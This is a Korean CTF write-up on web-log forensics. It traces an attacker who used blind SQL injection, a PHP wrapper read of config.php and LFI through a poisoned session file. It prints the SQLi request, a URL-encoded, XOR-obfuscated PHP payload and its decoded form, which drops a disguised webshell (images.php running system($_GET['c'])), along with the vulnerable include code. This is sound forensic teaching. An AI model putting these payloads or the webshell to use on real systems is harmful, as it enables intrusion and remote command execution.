weblog를 분석하는 문제인 듯 하다.
Q: 공격자에게 탈취된 admin 계정의 PW를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
PW를 확인하라고 한다. log 파일을 확인해보자. 중간에 응답코드 500으로, 1192바이트가 resp으로 온 것이 확인된다. 응답코드 200에 841바이트가 많은 것으로 보아 저 쿼리는 sqli에 성공한 쿼리라고 확인이 가능하겠다. 근데 내가 보고있는 부분은
172.17.0.1 - - [02/Jun/2020:09:49:06 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(TABLE_NAME,0x3a,COLUMN_NAME)%20from%20information_schema.columns%20where%20TABLE_SCHEMA=database()),%20100,1))=80,%20(select%201%20union%20select%202),%200) HTTP/1.1" 200 841 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
이런 느낌으로, TABLE_NAME과 COLUM_NAME을 보고있다. 좀 더 밑으로 내리면 username과 password를 확인하는 부분이 있다.
해당 부분부터 "500 1192"를 검색하여 확인해보자. 이렇게 ! 일일이 찾느라 힘들긴 했지만, 뭐 양이 많지는 않으니,,,,
pw = [97, 100, 109, 105, 110, 58, 84, 104, 49, 115, 95, 49, 115, 95, 65, 100, 109, 49, 110, 95, 80, 64, 83, 83, 44, 103, 117, 101, 115, 116, 58, 103, 117, 101, 115, 116]
for i in pw: print(chr(i), end='')
Level0은 풀었다.
admin:Th1s_1s_Adm1n_P@SS,guest:guest
난 위 전체가 password인 줄 알았는데 그건 아니넹 ㅎㅎ,,
Q: 공격자가 config.php 코드를 추출하는데 사용한 페이로드를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
음 config.php를 어떻게 찾았으려나 ,,,?
그리 어렵지 않다. 맨 밑으로 내려보면 이 부분이 존재하는데 php wrapper를 사용하였다.
Q: LFI 취약점을 통해 코드 실행 공격에 사용된 파일의 전체 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.
webshell 찾으라는 건가... 막상 webshell같은 경로들은 다 404에러가 발생해 있는데 /admin?page= ~~와 그 아래 부분만 200이다.(의심이 가는 부분 중에서)
%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E
해당 부분은 이렇게 이루어져 있다.이제 저 코드를 실행해보자. 뭔 지 알 수가 없다.. K의 format은 Y-M-D이기에 로그에 찍혀있는 날짜로 계산해보자. 찾았다. 기분이 너무 좋다.
file_put_contents/var/www/html/uploads/images.php<?php header("HTTP/1.1 404 Not Found");system($_GET["c"]);
/var/www/html/uploads/images.php를 입력했지만 틀렸다고 나온다.
문제가 무슨 소리인지 이해가지 않는다. 그래서 admin/index.php를 확인해봤다.
page로 파라미터는 넘어가지 않고, memo만 남기는 페이로드였다.
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Simple Board</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Simple Board</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/board.php">Board</a></li>
<?php
include "../config.php";
if(isset($_SESSION['username'])){
?>
<li><a href="/logout.php">Logout</a></li>
<?php
}else{
?>
<li><a href="/login.php">Login</a></li>
<?php
}
?>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<ul>
<?php
if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
if(isset($_GET['page'])){
include $_GET['page'];
}else{
?>
<li><a href="./?page=users.php">User List</a></li>
<li><a href="./?page=memo.php">Session Memo</a></li>
<?php
}
?>
</ul></div>
</body>
</html>
바로 다음 로그를 확인해보자.
172.17.0.1 - - [02/Jun/2020:09:55:39 +0000] "GET /admin/?page=/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 HTTP/1.1" 200 735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
아래는 memp.php이다.
<a href="javascript:history.back(-1);">Back</a><br/><br/>
<?php
if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }
if(isset($_GET['memo'])){
$_SESSION['memo'] = $_GET['memo'];
}
if(isset($_SESSION['memo'])){
echo($_SESSION['memo']);
}
?>
<form>
<input type="hidden" name="page" value="memo.php">
<div class="form-group">
<label for="memo">memo</label>
<input type="text" class="form-control" name="memo" id="memo" placeholder="memo">
</div>
<button type="submit" class="btn btn-default">Write</button>
</form>
memo에 입력된 값을 세션의 memo값에 저장한다.
그래서 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732
이곳이 그 정답이 된다.
Q: 생성된 웹쉘의 경로를 입력해주세요. (파일 이름을 포함한 전체 경로)
문제 파일은 문제 지문에서 확인할 수 있습니다.
이건 당연히 위에서 봤듯이
/var/www/html/uploads/images.php
가 될 것이다.
Q: 생성된 웹쉘을 통해 가장 처음으로 실행된 명령어를 입력해주세요.
문제 파일은 문제 지문에서 확인할 수 있습니다.
whoami를 가장 먼저 실행한다.